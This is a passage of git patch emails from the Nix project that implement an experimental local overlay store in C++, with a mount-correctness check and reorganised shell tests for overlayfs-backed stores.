a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index c087b3893..daebe8547 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -89,6 +89,8 @@ private: bool isValidPathUncached(const StorePath & path) override; + void registerValidPaths(const ValidPathInfos & infos) override; + void addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) override; diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 55add18dd..b61ec3590 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -232,7 +232,7 @@ public: */ void registerValidPath(const ValidPathInfo & info); - void registerValidPaths(const ValidPathInfos & infos); + virtual void registerValidPaths(const ValidPathInfos & infos); unsigned int getProtocol() override; diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index d9d3b76cf..dc8ec8c2c 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -22,7 +22,7 @@ mkdir -p "$TEST_ROOT"/{store-a,store-b,merged-store/nix/store,workdir} nix-store --store "$storeA" --add dummy # Build something in lower store -path=$(nix-build ./hermetic.nix --arg busybox "$busybox" --arg seed 1 --store "$storeA") +path=$(nix-build ./hermetic.nix --arg busybox "$busybox" --arg seed 1 --store "$storeA" --no-out-link) mount -t overlay overlay \ -o lowerdir="$storeA/nix/store" \ @@ -73,17 +73,15 @@ stat $(toRealPath "$storeA/nix/store" "$path") # upper layer should still not have it (no redundant copy) expect 1 stat $(toRealPath "$storeB/nix/store" "$path") -## Ooops something went wrong +### Do a build in overlay store -## ### Do a build in overlay store -## -## path=$(nix-build ./hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB") -## -## # Checking for path in lower layer (should fail) -## expect 1 stat $(toRealPath "$storeA/nix/store" "$path") -## -## # Checking for path in upper layer -## stat $(toRealPath "$storeBTop" "$path") -## -## # Verifying path in overlay store -## nix-store --verify-path --store "$storeB" "$path" +path=$(nix-build ./hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB" --no-out-link) + +# Checking for path in lower layer (should fail) +expect 1 stat $(toRealPath "$storeA/nix/store" "$path") + +# Checking for path in upper layer +stat $(toRealPath "$storeBTop" "$path") + +# Verifying path in overlay store +nix-store --verify-path --store "$storeB" "$path" From e7c3399ed2e62ecf8a0fb5294f19ffab2061cc04 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 May 2023 10:40:10 -0400 Subject: [PATCH 0011/1251] Specialize `LocalOverlayStore::queryPathFromHashPart` With test --- src/libstore/local-overlay-store.cc | 10 ++++++++++ src/libstore/local-overlay-store.hh | 2 ++ tests/overlay-local-store/inner.sh | 8 ++++++++ 3 files changed, 20 insertions(+) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index ad1947698..cb409c2bd 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -98,6 +98,16 @@ bool LocalOverlayStore::isValidPathUncached(const StorePath & path) } +std::optional LocalOverlayStore::queryPathFromHashPart(const std::string & hashPart) +{ + auto res = LocalStore::queryPathFromHashPart(hashPart); + if (res) + return res; + else + return lowerStore->queryPathFromHashPart(hashPart); +} + + void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) { // First, get any from lower store so we merge diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index daebe8547..88da4ba4a 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -89,6 +89,8 @@ private: bool isValidPathUncached(const StorePath & path) override; + std::optional queryPathFromHashPart(const std::string & hashPart) override; + void registerValidPaths(const ValidPathInfos & infos) override; void addToStore(const ValidPathInfo & info, Source & source, diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index dc8ec8c2c..279f005a9 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -60,6 +60,14 @@ nix-store --verify-path --store "$storeA" "$path" # Verifying path in merged-store nix-store --verify-path --store "$storeB" "$path" +hashPart=$(echo $path | sed "s^$NIX_STORE_DIR/^^" | sed 's/-.*//') + +# Lower store can find from hash part +[[ $(nix store --store $storeA path-from-hash-part $hashPart) == $path ]] + +# merged store can find from hash part +[[ $(nix store --store $storeB path-from-hash-part $hashPart) == $path ]] + ### Do a redundant add # upper layer should not have it From 5059be53b1553f99b95f31227998de69ecf74d90 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 May 2023 16:42:28 -0400 Subject: [PATCH 0012/1251] Fix recursive ingestion from lower store --- src/libstore/local-overlay-store.cc | 7 ++++++- tests/overlay-local-store/inner.sh | 15 +++++++++++---- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index cb409c2bd..431b82c90 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -92,7 +92,12 @@ bool LocalOverlayStore::isValidPathUncached(const StorePath & path) res = lowerStore->isValidPath(path); if (res) { // Get path info from lower store so upper DB genuinely has it. - LocalStore::registerValidPath(*lowerStore->queryPathInfo(path)); + auto p = lowerStore->queryPathInfo(path); + // recur on references, syncing entire closure. + for (auto & r : p->references) + if (r != path) + isValidPath(r); + LocalStore::registerValidPath(*p); } return res; } diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index 279f005a9..1cb29ceb7 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -22,7 +22,8 @@ mkdir -p "$TEST_ROOT"/{store-a,store-b,merged-store/nix/store,workdir} nix-store --store "$storeA" --add dummy # Build something in lower store -path=$(nix-build ./hermetic.nix --arg busybox "$busybox" --arg seed 1 --store "$storeA" --no-out-link) +drvPath=$(nix-instantiate --store $storeA ./hermetic.nix --arg busybox "$busybox" --arg seed 1) +path=$(nix-store --store "$storeA" --realise $drvPath) mount -t overlay overlay \ -o lowerdir="$storeA/nix/store" \ @@ -38,9 +39,9 @@ cleanupOverlay () { trap cleanupOverlay EXIT toRealPath () { - storeDir=$1; shift - storePath=$1; shift - echo $storeDir$(echo $storePath | sed "s^$NIX_STORE_DIR^^") + storeDir=$1; shift + storePath=$1; shift + echo $storeDir$(echo $storePath | sed "s^$NIX_STORE_DIR^^") } ### Check status @@ -60,6 +61,12 @@ nix-store --verify-path --store "$storeA" "$path" # Verifying path in merged-store nix-store --verify-path --store "$storeB" "$path" +[[ \ + $(nix-store --store $storeA --query --outputs $drvPath) \ + == \ + $(nix-store --store $storeB --query --outputs $drvPath) \ + ]] + hashPart=$(echo $path | sed "s^$NIX_STORE_DIR/^^" | sed 's/-.*//') # Lower store can find from hash part From 8339c170d781825acd55f30af4d76c5c14d50511 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 May 2023 16:49:44 -0400 Subject: [PATCH 0013/1251] More tests --- tests/overlay-local-store/inner.sh | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index 1cb29ceb7..d13d8b9ab 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -55,18 +55,26 @@ expect 1 stat $(toRealPath "$storeBTop" "$path") # Checking for path in overlay store matching lower layer diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$TEST_ROOT/merged-store/nix/store" "$path") -# Verifying path in lower layer -nix-store --verify-path --store "$storeA" "$path" - -# Verifying path in merged-store -nix-store --verify-path --store "$storeB" "$path" +# Checking derivers query agreement +[[ \ + $(nix-store --store $storeA --query --deriver $path) \ + == \ + $(nix-store --store $storeB --query --deriver $path) \ + ]] +# Checking outputs query agreement [[ \ $(nix-store --store $storeA --query --outputs $drvPath) \ == \ $(nix-store --store $storeB --query --outputs $drvPath) \ ]] +# Verifying path in lower layer +nix-store --verify-path --store "$storeA" "$path" + +# Verifying path in merged-store +nix-store --verify-path --store "$storeB" "$path" + hashPart=$(echo $path | sed "s^$NIX_STORE_DIR/^^" | sed 's/-.*//') # Lower store can find from hash part From 4173743a3c1f0418c298d12cc71ffa26f6bc848d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 May 2023 17:20:58 -0400 Subject: [PATCH 0014/1251] Implement more queries --- src/libstore/local-overlay-store.cc | 16 ++++++++++++++++ src/libstore/local-overlay-store.hh | 4 ++++ tests/overlay-local-store/inner.sh | 15 +++++++++++++++ 3 files changed, 35 insertions(+) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 431b82c90..c6b721b48 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -103,6 +103,22 @@ bool LocalOverlayStore::isValidPathUncached(const StorePath & path) } +void LocalOverlayStore::queryReferrers(const StorePath & path, StorePathSet & referrers) +{ + LocalStore::queryReferrers(path, referrers); + lowerStore->queryReferrers(path, referrers); +} + + +StorePathSet LocalOverlayStore::queryValidDerivers(const StorePath & path) +{ + auto res = LocalStore::queryValidDerivers(path); + for (auto p : lowerStore->queryValidDerivers(path)) + res.insert(p); + return res; +} + + std::optional LocalOverlayStore::queryPathFromHashPart(const std::string & hashPart) { auto res = LocalStore::queryPathFromHashPart(hashPart); diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 88da4ba4a..9bc513b3e 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -89,6 +89,10 @@ private: bool isValidPathUncached(const StorePath & path) override; + void queryReferrers(const StorePath & path, StorePathSet & referrers) override; + + StorePathSet queryValidDerivers(const StorePath & path) override; + std::optional queryPathFromHashPart(const std::string & hashPart) override; void registerValidPaths(const ValidPathInfos & infos) override; diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index d13d8b9ab..7ab587b87 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -55,6 +55,21 @@ expect 1 stat $(toRealPath "$storeBTop" "$path") # Checking for path in overlay store matching lower layer diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$TEST_ROOT/merged-store/nix/store" "$path") +# Checking requisites query agreement +[[ \ + $(nix-store --store $storeA --query --requisites $drvPath) \ + == \ + $(nix-store --store $storeB --query --requisites $drvPath) \ + ]] + +# Checking referrers query agreement +busyboxStore=$(nix store --store $storeA add-path $busybox) +[[ \ + $(nix-store --store $storeA --query --referrers $busyboxStore) \ + == \ + $(nix-store --store $storeB --query --referrers $busyboxStore) \ + ]] + # Checking derivers query agreement [[ \ $(nix-store --store $storeA --query --deriver $path) \ From b5591ece4c4afae6a0ea71396a72eea529b39b79 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 15 May 2023 10:20:16 +0100 Subject: [PATCH 0015/1251] Check that overlay store directory is mounted correctly. Nix does not manage the overlayfs mount point itself, but the correct functioning of the overlay store does depend on this mount point being set up correctly. Rather than just assume this is the case, check that the lowerdir and upperdir options are what we expect them to be. This check is on by default, but can be disabled if needed. --- src/libstore/local-overlay-store.cc | 27 +++++++++++++++++++++++++++ src/libstore/local-overlay-store.hh | 3 +++ 2 files changed, 30 insertions(+) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index c6b721b48..a40f55fdb 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -1,5 +1,6 @@ #include "local-overlay-store.hh" #include "callback.hh" +#include namespace nix { @@ -17,6 +18,32 @@ LocalOverlayStore::LocalOverlayStore(const Params & params) , LocalStore(params) , lowerStore(openStore(lowerStoreUri).dynamic_pointer_cast()) { + if (checkMount.get()) { + std::smatch match; + std::string mountInfo; + auto mounts = readFile("/proc/self/mounts"); + auto regex = std::regex(R"((^|\n)overlay )" + realStoreDir.get() + R"( .*(\n|$))"); + + // Mount points can be stacked, so there might be multiple matching entries. + // Loop until the last match, which will be the current state of the mount point. + while (std::regex_search(mounts, match, regex)) { + mountInfo = match.str(); + mounts = match.suffix(); + } + + auto checkOption = [&](std::string option, std::string value) { + return std::regex_search(mountInfo, std::regex("\\b" + option + "=" + value + "( |,)")); + }; + + auto expectedLowerDir = lowerStore->realStoreDir.get(); + if (!checkOption("lowerdir", expectedLowerDir) || !checkOption("upperdir", upperLayer)) { + debug("expected lowerdir: %s", expectedLowerDir); + debug("expected upperdir: %s", upperLayer); + debug("actual mount: %s", mountInfo); + throw Error("overlay filesystem '%s' mounted incorrectly", + realStoreDir.get()); + } + } } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 9bc513b3e..8280ed273 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -30,6 +30,9 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig Must be used as OverlayFS upper layer for this store's store dir. )"}; + Setting checkMount{(StoreConfig*) this, true, "check-mount", + "Check that the overlay filesystem is correctly mounted."}; + const std::string name() override { return "Experimental Local Overlay Store"; } std::string doc() override From b0989cb10b6e1a59070e8c999520c0fbfd25657d Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 15 May 2023 10:28:43 +0100 Subject: [PATCH 0016/1251] Support percent encoded URIs for lower store. --- src/libstore/local-overlay-store.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index a40f55fdb..ab7af6aea 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -1,5 +1,6 @@ #include "local-overlay-store.hh" #include "callback.hh" +#include "url.hh" #include namespace nix { @@ -16,7 +17,7 @@ LocalOverlayStore::LocalOverlayStore(const Params & params) , Store(params) , LocalFSStore(params) , LocalStore(params) - , lowerStore(openStore(lowerStoreUri).dynamic_pointer_cast()) + , lowerStore(openStore(percentDecode(lowerStoreUri.get())).dynamic_pointer_cast()) { if (checkMount.get()) { std::smatch match; From 0df37edb1c1ae5af43496f009221f2d4fe23a629 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 15 May 2023 10:29:06 +0100 Subject: [PATCH 0017/1251] Make upper-layer a PathSetting instead of a Setting. --- src/libstore/local-overlay-store.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 8280ed273..525a54745 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -25,7 +25,7 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig Must be used as OverlayFS lower layer for this store's store dir. )"}; - const Setting upperLayer{(StoreConfig*) this, "", "upper-layer", + const PathSetting upperLayer{(StoreConfig*) this, false, "", "upper-layer", R"( Must be used as OverlayFS upper layer for this store's store dir. )"}; From b7e5aaf90d50d06e057cceefaa831ea5e4a671bd Mon Sep 17 00:00:00 2001 From: cidkidnix Date: Mon, 15 May 2023 13:40:01 -0500 Subject: [PATCH 0018/1251] Add test for checking that we reject bad local overlay store uris --- tests/overlay-local-store/inner.sh | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index 7ab587b87..c8d49eb19 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -14,6 +14,16 @@ storeA="$TEST_ROOT/store-a" storeBTop="$TEST_ROOT/store-b" storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" +mkdir -p $TEST_ROOT/bad_test +badTestRoot=$TEST_ROOT/bad_test +storeBadRoot="local-overlay?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" +storeBadLower="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$badTestRoot&upper-layer=$storeBTop" +storeBadUpper="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$badTestRoot" + +declare -a storesBad=( + "$storeBadRoot" "$storeBadLower" "$storeBadUpper" +) + mkdir -p "$TEST_ROOT"/{store-a,store-b,merged-store/nix/store,workdir} # Mounting Overlay Store @@ -105,6 +115,11 @@ expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") path=$(nix-store --store "$storeB" --add dummy) +for i in "${storesBad[@]}"; do + echo $i + expectStderr 1 nix-store --store "$i" --add dummy | grepQuiet "overlay filesystem .* mounted incorrectly" +done + # lower store should have it from before stat $(toRealPath "$storeA/nix/store" "$path") From 0979a374c555a34f1ee622c3f205b1702a59ccc6 Mon Sep 17 00:00:00 2001 From: cidkidnix Date: Mon, 15 May 2023 14:34:57 -0500 Subject: [PATCH 0019/1251] Begin to split up overlay-local-store tests The bad-uris tests are now in their own file. "Outer" is a bad name, but it will be split up next. --- tests/common.sh | 2 +- tests/local.mk | 3 +- tests/overlay-local-store.sh | 10 ----- tests/overlay-local-store/bad-uris.sh | 25 ++++++++++++ tests/overlay-local-store/common.sh | 52 ++++++++++++++++++++++++ tests/overlay-local-store/inner.sh | 57 +++------------------------ tests/overlay-local-store/outer.sh | 5 +++ 7 files changed, 90 insertions(+), 64 deletions(-) delete mode 100644 tests/overlay-local-store.sh create mode 100644 tests/overlay-local-store/bad-uris.sh create mode 100644 tests/overlay-local-store/common.sh create mode 100755 tests/overlay-local-store/outer.sh diff --git a/tests/common.sh b/tests/common.sh index 8941671d6..7b0922c9f 100644 --- a/tests/common.sh +++ b/tests/common.sh @@ -4,7 +4,7 @@ if [[ -z "${COMMON_SH_SOURCED-}" ]]; then COMMON_SH_SOURCED=1 -source "$(readlink -f "$(dirname "${BASH_SOURCE[0]}")")/common/vars-and-functions.sh" +source "$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")/common/vars-and-functions.sh" if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then startDaemon fi diff --git a/tests/local.mk b/tests/local.mk index 61fb1a85b..ea5550c75 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -133,7 +133,8 @@ nix_tests = \ impure-derivations.sh \ path-from-hash-part.sh \ toString-path.sh \ - overlay-local-store.sh + overlay-local-store/outer.sh \ + overlay-local-store/bad-uris.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh diff --git a/tests/overlay-local-store.sh b/tests/overlay-local-store.sh deleted file mode 100644 index 242c16e20..000000000 --- a/tests/overlay-local-store.sh +++ /dev/null @@ -1,10 +0,0 @@ -source common.sh - -requireSandboxSupport -[[ $busybox =~ busybox ]] || skipTest "no busybox" -if [[ $(uname) != Linux ]]; then skipTest "Need Linux for overlayfs"; fi -needLocalStore "The test uses --store always so we would just be bypassing the daemon" - -echo "drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf - -exec unshare --mount --map-root-user overlay-local-store/inner.sh diff --git a/tests/overlay-local-store/bad-uris.sh b/tests/overlay-local-store/bad-uris.sh new file mode 100644 index 000000000..d4261bd97 --- /dev/null +++ b/tests/overlay-local-store/bad-uris.sh @@ -0,0 +1,25 @@ +source common.sh + +requireEnvironment +setupConfig +storeDirs + +mkdir -p $TEST_ROOT/bad_test +badTestRoot=$TEST_ROOT/bad_test +storeBadRoot="local-overlay?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" +storeBadLower="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$badTestRoot&upper-layer=$storeBTop" +storeBadUpper="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$badTestRoot" + +declare -a storesBad=( + "$storeBadRoot" "$storeBadLower" "$storeBadUpper" +) + +for i in "${storesBad[@]}"; do + echo $i + unshare --mount --map-root-user bash <> "$NIX_CONF_DIR"/nix.conf + echo "build-users-group = " >> "$NIX_CONF_DIR"/nix.conf +} + +storeDirs () { + storeA="$TEST_ROOT/store-a" + storeBTop="$TEST_ROOT/store-b" + storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" + # Creating testing directories + mkdir -p "$TEST_ROOT"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} +} + +# Mounting Overlay Store +mountOverlayfs () { + mount -t overlay overlay \ + -o lowerdir="$storeA/nix/store" \ + -o upperdir="$storeBTop" \ + -o workdir="$TEST_ROOT/workdir" \ + "$TEST_ROOT/merged-store/nix/store" \ + || skipTest "overlayfs is not supported" + + cleanupOverlay () { + umount "$TEST_ROOT/merged-store/nix/store" + rm -r $TEST_ROOT/workdir + } + trap cleanupOverlay EXIT +} + +toRealPath () { + storeDir=$1; shift + storePath=$1; shift + echo $storeDir$(echo $storePath | sed "s^$NIX_STORE_DIR^^") +} + +initLowerStore () { + # Init lower store with some stuff + nix-store --store "$storeA" --add ../dummy + + # Build something in lower store + drvPath=$(nix-instantiate --store $storeA ../hermetic.nix --arg busybox "$busybox" --arg seed 1) + path=$(nix-store --store "$storeA" --realise $drvPath) +} diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index c8d49eb19..adbe29557 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -6,53 +6,11 @@ set -x source common.sh -export NIX_CONFIG='build-users-group = ' +storeDirs -# Creating testing directories +initLowerStore -storeA="$TEST_ROOT/store-a" -storeBTop="$TEST_ROOT/store-b" -storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" - -mkdir -p $TEST_ROOT/bad_test -badTestRoot=$TEST_ROOT/bad_test -storeBadRoot="local-overlay?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" -storeBadLower="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$badTestRoot&upper-layer=$storeBTop" -storeBadUpper="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$badTestRoot" - -declare -a storesBad=( - "$storeBadRoot" "$storeBadLower" "$storeBadUpper" -) - -mkdir -p "$TEST_ROOT"/{store-a,store-b,merged-store/nix/store,workdir} - -# Mounting Overlay Store - -# Init lower store with some stuff -nix-store --store "$storeA" --add dummy - -# Build something in lower store -drvPath=$(nix-instantiate --store $storeA ./hermetic.nix --arg busybox "$busybox" --arg seed 1) -path=$(nix-store --store "$storeA" --realise $drvPath) - -mount -t overlay overlay \ - -o lowerdir="$storeA/nix/store" \ - -o upperdir="$storeBTop" \ - -o workdir="$TEST_ROOT/workdir" \ - "$TEST_ROOT/merged-store/nix/store" \ - || skipTest "overlayfs is not supported" - -cleanupOverlay () { - umount "$TEST_ROOT/merged-store/nix/store" - rm -r $TEST_ROOT/workdir -} -trap cleanupOverlay EXIT - -toRealPath () { - storeDir=$1; shift - storePath=$1; shift - echo $storeDir$(echo $storePath | sed "s^$NIX_STORE_DIR^^") -} +mountOverlayfs ### Check status @@ -113,12 +71,7 @@ hashPart=$(echo $path | sed "s^$NIX_STORE_DIR/^^" | sed 's/-.*//') # upper layer should not have it expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") -path=$(nix-store --store "$storeB" --add dummy) - -for i in "${storesBad[@]}"; do - echo $i - expectStderr 1 nix-store --store "$i" --add dummy | grepQuiet "overlay filesystem .* mounted incorrectly" -done +path=$(nix-store --store "$storeB" --add ../dummy) # lower store should have it from before stat $(toRealPath "$storeA/nix/store" "$path") @@ -128,7 +81,7 @@ expect 1 stat $(toRealPath "$storeB/nix/store" "$path") ### Do a build in overlay store -path=$(nix-build ./hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB" --no-out-link) +path=$(nix-build ../hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB" --no-out-link) # Checking for path in lower layer (should fail) expect 1 stat $(toRealPath "$storeA/nix/store" "$path") diff --git a/tests/overlay-local-store/outer.sh b/tests/overlay-local-store/outer.sh new file mode 100755 index 000000000..ba55f1d06 --- /dev/null +++ b/tests/overlay-local-store/outer.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +exec unshare --mount --map-root-user ./inner.sh From b1fba1c2a13ca8a9e295ee0a572df207d3591db1 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 May 2023 16:44:36 -0400 Subject: [PATCH 0020/1251] Fix PS4 for heredocs --- tests/common/vars-and-functions.sh.in | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/common/vars-and-functions.sh.in b/tests/common/vars-and-functions.sh.in index a9e6c802f..dc7ce13cc 100644 --- a/tests/common/vars-and-functions.sh.in +++ b/tests/common/vars-and-functions.sh.in @@ -4,7 +4,7 @@ if [[ -z "${COMMON_VARS_AND_FUNCTIONS_SH_SOURCED-}" ]]; then COMMON_VARS_AND_FUNCTIONS_SH_SOURCED=1 -export PS4='+(${BASH_SOURCE[0]}:$LINENO) ' +export PS4='+(${BASH_SOURCE[0]-$0}:$LINENO) ' export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default} export NIX_STORE_DIR From 97deb00cbc5697d86a04ec7491b5b0da26ee5357 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 May 2023 18:13:11 -0400 Subject: [PATCH 0021/1251] Create notion of "test group", use for local overlay store --- mk/lib.mk | 9 +++++++++ mk/tests.mk | 5 +---- tests/local.mk | 10 +++++++--- 3 files changed, 17 insertions(+), 7 deletions(-) diff --git a/mk/lib.mk b/mk/lib.mk index 34fa624d8..a6c2b32e4 100644 --- a/mk/lib.mk +++ b/mk/lib.mk @@ -10,6 +10,7 @@ bin-scripts := noinst-scripts := man-pages := install-tests := +install-tests-groups := ifdef HOST_OS HOST_KERNEL = $(firstword $(subst -, ,$(HOST_OS))) @@ -122,6 +123,14 @@ $(foreach script, $(bin-scripts), $(eval programs-list += $(script))) $(foreach script, $(noinst-scripts), $(eval programs-list += $(script))) $(foreach template, $(template-files), $(eval $(call instantiate-template,$(template)))) $(foreach test, $(install-tests), $(eval $(call run-install-test,$(test)))) +$(foreach test, $(install-tests), $(eval installcheck: $(test).test)) +$(foreach test-group, $(install-tests-groups), \ + $(eval installcheck: $(test-group).test-group) \ + $(eval .PHONY: $(test-group).test-group) \ + $(foreach test, $($(test-group)-tests), \ + $(eval $(call run-install-test,$(test))) \ + $(eval $(test-group).test-group: $(test).test))) + $(foreach file, $(man-pages), $(eval $(call install-data-in, $(file), $(mandir)/man$(patsubst .%,%,$(suffix $(file)))))) diff --git a/mk/tests.mk b/mk/tests.mk index 3ebbd86e3..dca3c5da2 100644 --- a/mk/tests.mk +++ b/mk/tests.mk @@ -2,10 +2,7 @@ test-deps = -define run-install-test - - installcheck: $1.test - +define run-install-test $1 .PHONY: $1.test $1.test: $1 $(test-deps) @env BASH=$(bash) $(bash) mk/run-test.sh $1 < /dev/null diff --git a/tests/local.mk b/tests/local.mk index 778d087b1..2dea58e7b 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -135,9 +135,13 @@ nix_tests = \ flakes/show.sh \ impure-derivations.sh \ path-from-hash-part.sh \ - toString-path.sh \ - overlay-local-store/outer.sh \ - overlay-local-store/bad-uris.sh + toString-path.sh + +overlay-local-store-tests := \ + $(d)/overlay-local-store/outer.sh \ + $(d)/overlay-local-store/bad-uris.sh + +install-tests-groups += overlay-local-store ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh From 5d18120ba837039718b3d08d627c7c231f379a40 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 May 2023 23:00:18 -0400 Subject: [PATCH 0022/1251] Split tests some more Good for parallelism and easier reading. --- tests/local.mk | 4 ++- tests/overlay-local-store/build-inner.sh | 26 +++++++++++++++++++ .../{outer.sh => build.sh} | 2 +- .../{inner.sh => check-post-init-inner.sh} | 26 ------------------- tests/overlay-local-store/check-post-init.sh | 5 ++++ tests/overlay-local-store/common.sh | 26 +++++++++++-------- .../redundant-add-inner.sh | 26 +++++++++++++++++++ tests/overlay-local-store/redundant-add.sh | 5 ++++ 8 files changed, 81 insertions(+), 39 deletions(-) create mode 100755 tests/overlay-local-store/build-inner.sh rename tests/overlay-local-store/{outer.sh => build.sh} (50%) rename tests/overlay-local-store/{inner.sh => check-post-init-inner.sh} (68%) create mode 100755 tests/overlay-local-store/check-post-init.sh create mode 100755 tests/overlay-local-store/redundant-add-inner.sh create mode 100755 tests/overlay-local-store/redundant-add.sh diff --git a/tests/local.mk b/tests/local.mk index 2dea58e7b..dd168ce3f 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -138,7 +138,9 @@ nix_tests = \ toString-path.sh overlay-local-store-tests := \ - $(d)/overlay-local-store/outer.sh \ + $(d)/overlay-local-store/check-post-init.sh \ + $(d)/overlay-local-store/redundant-add.sh \ + $(d)/overlay-local-store/build.sh \ $(d)/overlay-local-store/bad-uris.sh install-tests-groups += overlay-local-store diff --git a/tests/overlay-local-store/build-inner.sh b/tests/overlay-local-store/build-inner.sh new file mode 100755 index 000000000..969de282d --- /dev/null +++ b/tests/overlay-local-store/build-inner.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +storeDirs + +initLowerStore + +mountOverlayfs + +### Do a build in overlay store + +path=$(nix-build ../hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB" --no-out-link) + +# Checking for path in lower layer (should fail) +expect 1 stat $(toRealPath "$storeA/nix/store" "$path") + +# Checking for path in upper layer +stat $(toRealPath "$storeBTop" "$path") + +# Verifying path in overlay store +nix-store --verify-path --store "$storeB" "$path" diff --git a/tests/overlay-local-store/outer.sh b/tests/overlay-local-store/build.sh similarity index 50% 